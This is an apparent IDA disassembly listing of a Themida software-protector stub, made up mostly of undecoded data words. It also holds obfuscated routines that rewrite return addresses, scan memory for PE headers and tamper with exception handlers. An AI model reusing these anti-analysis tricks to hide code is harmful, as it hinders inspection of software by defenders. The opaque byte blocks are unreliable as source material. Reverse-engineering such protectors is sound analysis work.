sub_57D595 endp
; ---------------------------------------------------------------------------
db 0Eh, 9, 1Bh
dd 3395788Bh, 8E8685Ch, 30000000h, 46D92011h, 8B5F51CEh
dd 0B07899Dh, 12E95F06h, 1B000000h, 0E9B5F35Fh, 1959FF0Fh
dd 67785D0Ah, 0F7D77642h, 0F0816692h, 0E183B1E8h, 2A850F01h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 4DD2C357h, 512CE3EAh, 5AD3B70Fh
dd 0F2C68166h, 8B6061A4h, 0B18B195h, 0FFFEB906h, 6AFFFFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 8166D6C3h, 2192F6DAh, 0B2A9D8Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 8C7CB299h
dd 0BF0FF20Ch, 6D8D21DAh, 6A060B2Ah, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E3DBC357h
dd 70A39D2Fh, 0E79BD8Bh, 8D8B060Bh, 60B2A9Dh, 7199D8Bh
dd 0E183060Bh, 24850F01h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D455C356h
dd 816628CBh, 8B0D85E0h, 0B2A6D8Dh, 0AD850906h, 83060B02h
dd 850F01E1h, 22h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 4EC35343h, 0CC88268Ch, 60611DC3h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E1C35242h, 0C7DC3476h
dd 0B338585h, 7D006h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 8BB6B621h, 0B0415BDh
dd 6A6106h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0EBFCA1C3h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_57D787
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D787 proc near ; CODE XREF: Themida_:0057D77Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_57D787 endp
; ---------------------------------------------------------------------------
db 0A1h
dd 2634EC9h, 0DEBF0FB3h, 0F75B58Bh, 6A060Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D529E5C3h
dd 95EC6693h, 459D095Fh, 8B060B09h, 75E9C1h, 66600000h
dd 4A8D88Ch, 35840Fh, 16A0000h, 0B01B5FFh, 858D060Bh, 60E7D18h
dd 8589D0FFh, 60B0F55h, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
dd 1000Dh, 0F5595FFh, 32E9060Bh, 0C6000000h, 0B284585h
dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh
dd 0A18589D0h, 8D060B33h, 0B0B6185h, 206A5006h, 0FF56056Ah
dd 0B33A195h, 0C1C36106h, 4BEB06E0h, 2F0E0910h, 4B1AC53Ch
dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h
dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 1B00A6DBh, 1A0046BDh
dd 0D5A3EAh, 9C000000h, 0FEC819h, 0FBFE4800h, 28000000h
dd 0D427E641h, 0E9C3727Dh, 0D0Eh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 30C35242h, 0D6816007h, 29C043E9h
dd 0C0816651h, 61590C30h, 6798589h, 0BD83060Bh, 60B0B19h
dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 7C59C351h, 305FA29Dh
dd 8BD9BBBDh, 0B1241BDh, 8B605606h, 0B06C18Dh, 0FD9D8B06h
dd 61060B29h, 0B859h, 0FE90000h, 0E5000000h, 0F36104DCh
dd 8DAA9417h, 67CBE14Ah, 4C2FB3Fh, 850F00h, 8B000000h
dd 2820FC0h, 8B000000h, 0BDBD83F9h, 60B05h, 0BD830975h
dd 60B29D1h, 50137400h, 0B8C08B53h, 4D0h, 0B0EE9D8Dh, 0D3FF060Dh
dd 0BD83585Bh, 60B29D1h, 50117400h, 4D0B853h, 9D8D0000h
dd 60DB03Bh, 585BD3FFh, 6D9D2B57h, 59060B2Eh, 8BF9BF0Fh
dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 8B66C3C0h, 999D8BCEh, 8D060B15h, 0F17EF85h
dd 0B1BB6606h, 870F50F3h, 4, 877EB966h, 0F240489h, 680h
dd 42EB8100h, 8D047768h, 0F17AC85h, 0F1816606h, 60503256h
dd 0DCB4BABAh, 0AE81Bh, 6BB70000h, 83F64808h, 2EF5AE36h
dd 489615Fh, 10E824h, 42420000h, 0DFAD6283h, 93FE1D63h
dd 4B303DC1h, 0F58A2457h, 0A18D895Fh, 0FF060B02h, 0B052D95h
dd 0A850F06h, 0F000000h, 481h, 0F5BF6600h, 24448BA3h, 55006A04h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0F0B7C4C7h, 6E9971Eh, 0EA000000h, 0FB90901Fh, 0D785894Bh
dd 6A060F17h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0AD52C351h, 0FCB7208Fh, 9BAA1B2h
dd 0B19599Dh, 24448B06h, 0C98D8B08h, 89060B31h, 0F17EB85h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 394770F8h, 60413F4Dh, 14E890h, 69FD0000h
dd 0D44B0FF5h, 56699C11h, 5B61DCB0h, 0A58FD808h, 0E7801A37h
dd 0BD835BA4h, 60B31C5h, 0B7850F00h, 0F9000000h, 284585C6h
dd 8047060Bh, 4E851DBh, 0D2000000h, 8BD49AA7h, 8AB250D6h
dd 424448Bh, 8BA8B2h, 448984B2h, 6A580424h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FF35C355h
dd 0D6EA9E6Fh, 0C0189DC2h, 1355B5FFh, 0BF0F060Bh, 18858DC9h
dd 89060E7Dh, 0B2991BDh, 6AD0FF06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2B90C357h
dd 954E63BAh, 6649E529h, 89098DBBh, 0B31C585h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 958973EFh, 60B1A4Dh, 0BD835B51h, 60B13D1h, 0E5850F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 54A7C350h, 903125C3h, 0BFEBEB12h
dd 57DE280Eh, 284585C6h, 0F847060Bh, 0CA94FC68h, 2404817Fh
dd 0A4520E6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 0DAC35747h, 0C2891519h, 147C886h, 0CE9B7h, 2D0F0000h
dd 5D3DFC38h, 2894ED01h, 0BF0F29D7h, 55B5FFD0h, 6A060B13h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 7BC352h, 6E91F477h, 77A285C7h, 13E58531h
dd 858D060Bh, 60E7D18h, 1B2D9D8Bh, 0D0FF060Bh, 39DF8166h
dd 0D1858933h, 6A060B13h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0CDD5C351h, 95895154h
dd 60B29D5h, 1975BD83h, 0F00060Bh, 0AE85h, 55958900h, 0C6060B1Ah
dd 0B284585h, 6A5606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 2AE0F2C3h, 20E04872h, 68CA8BDEh
dd 0CBFB31C1h, 8B0F5260h, 0
; ---------------------------------------------------------------------------
pop eax
mov ecx, 451A0D0Eh
popa
xor dword ptr [esp], 1FE45CF8h
pusha
xor [ebp+60B06C9h], eax
popa
push dword ptr [ebp+60B1355h]
movzx ebx, ax
lea eax, [ebp+60E7D18h]
jmp loc_57DD23
; ---------------------------------------------------------------------------
dw 0ED51h
dd 0B39E16A4h, 8D37DEEDh, 40407695h
db 0AAh, 0A1h, 0C2h
; ---------------------------------------------------------------------------
loc_57DD23: ; CODE XREF: Themida_:0057DD0Dj
adc dx, 7F93h
call eax
mov [ebp+60B1389h], ebx
mov [ebp+60B1975h], eax
push 0
push eax
call sub_57DD41
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57DD41 proc near ; CODE XREF: Themida_:0057DD39p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_57DD41 endp
; ---------------------------------------------------------------------------
db 24h, 0Fh, 0
dd 0C62832BBh, 0B284585h, 9DB36C06h, 1AE30368h, 10BB60E8h
dd 0BE2869E2h, 71EDDCC5h, 24348161h, 331F9380h, 17FD9D89h
dd 0B5FF060Bh, 60B0B01h, 0D858DFCh, 66060B39h, 97A4C381h
dd 0EE9h, 644CED00h, 49EFA9FCh, 0C4523383h, 0FF4096D0h
dd 0CE9D0h, 5DD40000h, 18A8CD2h, 0CD984E1Ch, 8589FF59h
dd 60F17DBh, 0EE8h, 3F26DD00h, 5C36B1E0h, 84B2F11Dh, 0B2DC8F19h
dd 46A5FC7h, 78D0Fh, 890F0000h, 1, 90C068F8h, 481D17Dh
dd 827F4024h, 0E860532Eh, 0Fh, 0C62F66D4h, 0B9C0237Bh
dd 0E63042D1h, 5B870FE1h, 13E9h, 0EB239400h, 4929611Ah
dd 0FFE5EFF5h, 0EFA5B75Fh, 54988F15h, 4E85961h, 0
dd 50000100h, 14E8h, 0E9506600h, 7670C19Ch, 699ECC35h
dd 0B1DF8B10h, 0E42BFAFBh, 0CCBB669Fh, 448B59EEh, 0FFBA0424h
dd 8B7AB27Bh, 0F793BB00h, 448934F1h, 8EB90424h, 58763EA3h
dd 3281952Bh, 0F48A060Bh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0DA4904C3h, 95FF2DBDh
dd 60B0B71h, 8589F1B3h, 60F17E7h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 1CC35545h, 0F899255Bh, 21419531h
dd 0F78A060Bh, 0BD8B006Ah, 60B005Dh, 865668h, 665250CAh
dd 310FDE8Bh, 6E2D33BFh, 81585A14h, 79AA2404h, 0FEB53600h
dd 89595350h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 58FC65C3h, 63D328A0h, 0FCBB6671h
dd 600B6A12h, 23F08166h, 9E43BE5Ch, 8D613CA5h, 0F17B485h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0B6ADA348h, 509BDA77h, 0FE9C8F4h, 71000000h
dd 95D56397h, 408D980Eh, 0A2B796B1h, 0CE8B1681h, 89CB8A50h
dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0A07D2EC3h, 0E94F02A7h, 0Eh, 14020A3Ch, 0ABE67AC5h
dd 99C95256h, 95FFCD54h, 60B31C5h, 0EF2CB0BFh, 2ECA8145h
dd 8D57A806h, 0F17BEB5h, 0F58D8B06h, 66060B19h, 5096D18Bh
dd 59BDBA52h, 310F47C9h, 3846BF66h, 8B50585Ah, 0B96696FAh
dd 4FBABF84h, 5023E765h, 11C6B860h, 0FA8B061Dh, 24048961h
dd 14DD9523h, 95FF060Bh, 60B13D1h, 0B119D8Bh, 0DD80060Bh
dd 0E9D0FF25h, 8, 0DD35616Eh, 422E3A5Ah, 17E7B58Bh, 0BF0F060Fh
dd 0DF85C7FAh, 60F17h, 8B000000h, 0B2DE58Dh, 95896006h
dd 60B15E9h, 0D8D7F6B8h, 7E80610Ah, 840F0020h, 394h, 2A8DB589h
dd 6A60060Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 710AC351h, 414788D7h, 0FE8B9ED8h
dd 6A20468Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 86FC351h, 6F4ADB3Ch, 70B9F773h
dd 89456103h, 0F17E385h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0CA3C8997h, 179D7BC8h
dd 8166788Eh, 6683EAE7h, 0AEB5E281h, 26E9F8h, 0BD090000h
dd 60B1F41h, 52006A40h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 2DF2F870h, 0F003880h, 0FFFFD785h
dd 1F860FFFh, 0E8000000h, 13h, 0E0997DF1h, 0F59ABE0Bh
dd 21023972h, 8C20FED8h, 89C36B70h, 0B184D95h, 24E95B06h
dd 0F000000h, 6A48DEBFh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0CBCFC351h, 80DEB70Fh
dd 840F5C38h, 77h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 1CC35747h, 0AE900h, 35F90000h, 1384DC65h
dd 886214D1h, 0FF0E04BAh, 2F388046h, 3D840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 49D03DC3h, 68D0F5Eh, 89000000h, 0B0BDD95h, 0E3853B06h
dd 0F060F17h, 0FFFF6583h, 599D8BFFh, 40060B1Ah, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9CC35747h, 17EBBD83h
dd 0F00060Fh, 0BD84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0FFF3497Fh, 0F045B5Dh
dd 680h, 0DAD28100h, 503C5CF0h, 0DE8h, 0AA450E00h, 1E6D034h
dd 1DDA2920h, 0BA667DEFh, 895B5B25h, 0B70F2404h, 3D0B5FBh
dd 0F17EB85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 99D8B7Ch, 89060B02h, 0B1F8595h, 0C606h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EBC35141h
dd 0B48B8753h, 0FE8h, 0AA87FC00h, 0C78002FEh, 0C57F02F7h
dd 60CB0C33h, 585AB8B6h, 1FC9BD01h, 8950060Bh, 6A2404h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 614CD8C3h, 0E957D0EBh, 6, 0F786DB78h, 0BF0FF0FBh, 0D7B5FFD7h
dd 6A060F17h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h
; ---------------------------------------------------------------------------
loc_57E300: ; DATA XREF: Themida_:0053E900o
push esi
retn
; ---------------------------------------------------------------------------
dw 654Fh
dd 0A618536Eh, 13E9h, 9ACB9E00h, 0C8FC970h, 952ED7E7h
dd 5BCE7009h, 4E0E335Fh, 17DB95FFh, 0B650060Fh, 0C00B5924h
dd 4D850Fh, 8D8B0000h, 60B211Dh, 50B96661h, 0C18166B3h
dd 85C7F52Eh, 60F17DFh, 1, 183D8D33h, 75E9060Bh, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0A049C350h, 0DD2BF933h, 71BD0B20h, 61060B0Eh
dd 81CAB70Fh, 11CC6h, 2DBD0900h, 0E9060B09h, 0FFFFFC9Ah
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 99C35040h
dd 0E8D5A992h, 0Dh, 9C0DFF23h, 4DC6A985h, 337E1B96h, 398D29FFh
dd 5B060B2Fh, 801F6968h, 128E0F00h, 0E8000000h, 0Ah, 0D644025Ah
dd 6C2E7C34h, 5B5647D3h, 2434815Bh, 809F69h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h, 0BA449A37h
dd 6DAF9A3h, 8D89006Ah, 60B0F2Dh, 17E7B5FFh, 0E580060Fh
dd 7595FFC1h, 0F060B19h, 858BD7BFh, 60F17DFh, 0ACC98CB9h
dd 9E9900Bh, 3000000h, 71EF014Fh, 74942902h, 28F0F50h
dd 8A000000h, 958990D3h, 60B20C1h, 17EF858Dh, 0B760060Fh
dd 0F9B58B6Ah, 61060B23h, 50D38B90h, 57006A90h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 47968122h
dd 5DF2814Fh, 8D6B8EDAh, 0F17AC85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 5090F396h
dd 6A90DA8Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0CC07C352h, 0F0E38ED0h, 0B9B5894Ah
dd 0FF060B0Fh, 0B21ED95h, 8BEE8A06h, 0BE9C0h, 0BA580000h
dd 0E171D12h, 0B8A28C0Ah, 0BDBD833Dh, 60B05h, 0BD830975h
dd 60B29D1h, 50137400h, 0B8C08B53h, 4D0h, 0B1559D8Dh, 0D3FF060Dh
dd 0BD83585Bh, 60B29D1h, 50117400h, 4D0B853h, 9D8D0000h
dd 60DB054h, 585BD3FFh, 4359529h, 8F0F060Bh, 2, 6A33B6h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0CCE76BC3h, 8B2DD180h, 4840FC0h, 66000000h, 58E0FBB9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 60C35040h
dd 5E8h, 0EFCFB300h, 0E1810F1Fh, 1AD08BB5h, 8C25Bh, 0CAB1C381h
dd 0C08B4135h, 32B99D8Bh, 858D060Bh, 60F182Eh, 0B7D1C281h
dd 858968C7h, 60B0781h, 0E0000BAh, 0EA81F0h, 83F00000h
dd 958914C2h, 60B2065h, 8D14EA83h, 0F25CA85h, 0FF645006h
dd 35h, 25896400h, 0
; ---------------------------------------------------------------------------
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_57E601: ; CODE XREF: Themida_:0057E623j
cmp word ptr [eax], 5A4Dh
jnz loc_57E61E
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_57E628
loc_57E61E: ; CODE XREF: Themida_:0057E606j
sub eax, 1000h
jmp loc_57E601
; ---------------------------------------------------------------------------
loc_57E628: ; CODE XREF: Themida_:0057E618j
mov ecx, eax
mov [ebp+60B159Dh], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+60B17B5h], edx
mov edx, [eax+50h]
mov [ebp+60B0C69h], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+60B1B95h], edx
add edx, [eax+8]
mov [ebp+60B2E01h], edx
pop large dword ptr fs:0
add esp, 4
jmp loc_57E681
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_57E681: ; CODE XREF: Themida_:0057E669j
cmp dword ptr [ebp+60B2715h], 0
jz loc_57E6B2
mov byte ptr [ebp+60B2845h], 47h
push 0D49AA7D2h
push dword ptr [ebp+60B1355h]
lea eax, [ebp+60E7D18h]
call eax
push 0
call eax
mov [ebp+60B0E25h], eax
loc_57E6B2: ; CODE XREF: Themida_:0057E688j
mov edx, ebx
pusha
push 0
push edx
call sub_57E6C0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57E6C0 proc near ; CODE XREF: Themida_:0057E6B8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_57E6C0 endp
; ---------------------------------------------------------------------------
lahf
jmp loc_57E6E4
; ---------------------------------------------------------------------------
dw 9AB8h
dd 2AE11BAFh, 33D8DCF9h, 9D629391h
; ---------------------------------------------------------------------------
loc_57E6E4: ; CODE XREF: Themida_:0057E6D1j
mov eax, eax
push 0
push ebx
call sub_57E6F1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57E6F1 proc near ; CODE XREF: Themida_:0057E6E9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_57E6F1 endp
; ---------------------------------------------------------------------------
db 64h, 9Fh, 0BBh
dd 0BDBD83F3h, 60B05h, 0BD830975h, 60B29D1h, 50197400h
dd 0B8C08B53h, 438h, 2A358589h, 9D8D060Bh, 60DB31Ah, 585BD3FFh
dd 29D1BD83h, 7400060Bh, 0B8535017h, 438h, 2A358589h, 9D8D060Bh
dd 60DB009h, 585BD3FFh, 0BC99D89h, 6A060Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 14E9FFC3h
dd 0A7000000h, 0ED9FC65Bh, 1D0D6612h, 266AA778h, 0AA93998Eh
dd 8B995C92h, 1810FC0h, 0F8000000h, 7EDE8h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0FC6515CDh, 8928A058h, 0B0419B5h, 0DD858906h, 6A060B1Ah
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 97CCC356h, 0F823B354h, 11E9AFh, 60620000h
dd 9F1AE1EBh, 27E08D1h, 8FB8F400h, 0E83DBA85h, 782h, 10159D29h
dd 8D8B060Bh, 60B1571h, 1A498589h, 0BD33060Bh, 60B28EDh
dd 765E8h, 0C9B70F00h, 19C98589h, 6A060Bh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C042C1C3h
dd 40A0006Eh, 0B52994CAh, 60B092Dh, 54A8DE81h, 27E83415h
dd 6A000007h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 1E5C353h, 0B12E18Dh, 7D858906h
dd 6A060B1Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0DFA5C355h, 0A62FC6EBh, 21D8D09h
dd 0D3E8060Bh, 0E9000006h, 0Ah, 0D26EE275h, 0DBDF157Fh
dd 8589A7CFh, 60B2A41h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0DBC35242h, 3250583h, 0D975C2BEh, 694E8C1h
dd 8D290000h, 60B0F41h, 27058589h, 6A060Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 29851CC3h
dd 0FEBEE7B5h, 0E8235667h, 65Eh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 6FC35646h, 65B589FCh, 89060B22h
dd 0B1AA985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 4EA252B9h, 3CC8A546h, 0F78B6657h
dd 608E85Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 2F28BCC3h, 0A07C26C8h, 5E864ACh
dd 0C2000000h, 0C6B52EB7h, 5FCF8B66h, 1058589h, 11E9060Bh
dd 71000000h, 0A9A173C1h, 7A09DDAh, 3AEB0300h, 811E12F5h
dd 5B5E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 318589DBh, 0BE060B1Ah, 17035366h
dd 0FE8h, 50612300h, 9A3A6EDAh, 1A8DC29h, 1A03E192h, 2AADBD8Bh
dd 0E859060Bh, 56Eh, 9E9h, 1ECB3200h, 7F678B18h, 85893090h
dd 60B0ED9h, 318D8Bh, 4FE8060Bh, 0B000005h, 0B29E5BDh
dd 55858906h, 66060B23h, 3BE8F88Bh, 66000005h, 5FDFE981h
dd 21D98589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 9EF94CC3h, 57C78166h, 508E8C5h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 634A77C3h, 0F1D3369Eh, 10E9h, 6ADB9C00h
dd 581D2D12h, 3C5D26DBh, 6C53225Eh, 8D8589C6h, 60060B1Fh
dd 0BE951h, 9F380000h, 405BD92Fh, 193340FFh, 0C78B5F5Ch
dd 4B0E861h, 85890000h, 60B0FD5h, 5719509h, 9FE8060Bh
dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 6665C357h, 54F68166h, 0A5858908h
dd 6A060B0Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 7189C357h, 0B4829C94h, 0CDBD8B1Bh
dd 0E8060B32h, 44Ah, 96DE8166h, 0A985892Fh, 6A060B12h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 7CBBC356h, 51F65667h, 13E857h, 0B3360000h
dd 2891C685h, 9E1E59AAh, 0B308EC0Bh, 6D335417h, 0B05FF86Dh
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 1D8D2310h, 60060B24h, 0F580F98Bh, 0B60F6115h
dd 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 6BADFh, 0BD8B0000h, 60B21C1h, 8BFBB70Fh
dd 95C5BFC3h, 0E8C114D2h, 53006A04h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 922A806Fh
dd 5D434BDCh, 8AEE8166h, 0E2F76663h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 4C35545h, 23CE08C1h, 0C781ABE5h
dd 1CAB9D04h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 49701AC3h, 8E850h, 0EC280000h, 29622717h
dd 6650F8B4h, 5E59F78Bh, 6A241C89h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8925C357h
dd 0B13FD8Dh, 0ED95FF06h, 5B060B18h, 12E9h, 0B7243D00h
dd 0E082D050h, 3028879Ah, 0BC0CD60Ch, 66D0E3AEh, 958DCB8Bh
dd 60B182Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0F8C35343h, 39361445h, 0E26EA8Eh, 2860FABh, 8B000000h
dd 0BE1A89F1h, 5D07294Eh, 89F78B66h, 7DBE0442h, 89785670h
dd 0B31559Dh, 1D958D06h, 0F060B04h, 180h, 1A89F900h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h, 29B5899Ch
dd 89060B04h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0D204B7C3h, 7E1C510Dh, 958DC88Bh
dd 60B2075h, 33499589h, 13E9060Bh, 87000000h, 1A8E298Ch
dd 139D9F76h, 1BA20158h, 31B021EAh, 1A89FFB5h, 19B58960h
dd 0E8060B07h, 0Ch, 7CB0363Dh, 0BAA4918Ah, 899F4206h, 5EC88B66h
dd 0FE961h, 3E620000h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah
dd 44289DDh, 958DF38Bh, 60B15E1h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 3AC35242h, 0DEA0FE58h, 5E91040Ch
dd 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0E0CDA9C3h, 3467FA3Fh, 0B589A0DFh, 60B15C9h
dd 6A044289h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0EABFC353h, 0A5EC56FDh, 8B536036h
dd 0B04198Dh, 858B5F06h, 60B04B5h, 0D58D3361h, 8D060B26h
dd 0B042D95h, 80BE6606h, 661A8907h, 3415C181h, 3044289h
dd 0B0FBDB5h, 12E806h, 0D6570000h, 862BAC35h, 78802DC7h
dd 0D3233C30h, 8B1A358Ch, 1FADB58Bh, 8D5F060Bh, 0B2A1D95h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0E960825Ah, 9, 0AC9ACFB8h, 9DB80286h, 29958B46h
dd 61060B2Bh, 0BF0F1A89h, 44289F6h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 0EC35545h, 1FCA6EAh, 0B120D8Dh
dd 39958D06h, 29060B21h, 0B2881BDh, 6A1A8906h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 68F2C353h, 2061BD8Bh, 4289060Bh, 318D8B04h
dd 8D060B00h, 0B329195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0A63430E0h, 0E7E1CE96h
dd 6A1A8912h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 79C4C355h, 0CB8DE535h, 837FD023h
dd 0C5B96660h, 0D185014Ah, 61060B21h, 0E9044289h, 95h
dd 10218D8Bh, 6A060Bh, 127DBD89h, 6A060Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 39C35040h, 0E88A7D68h
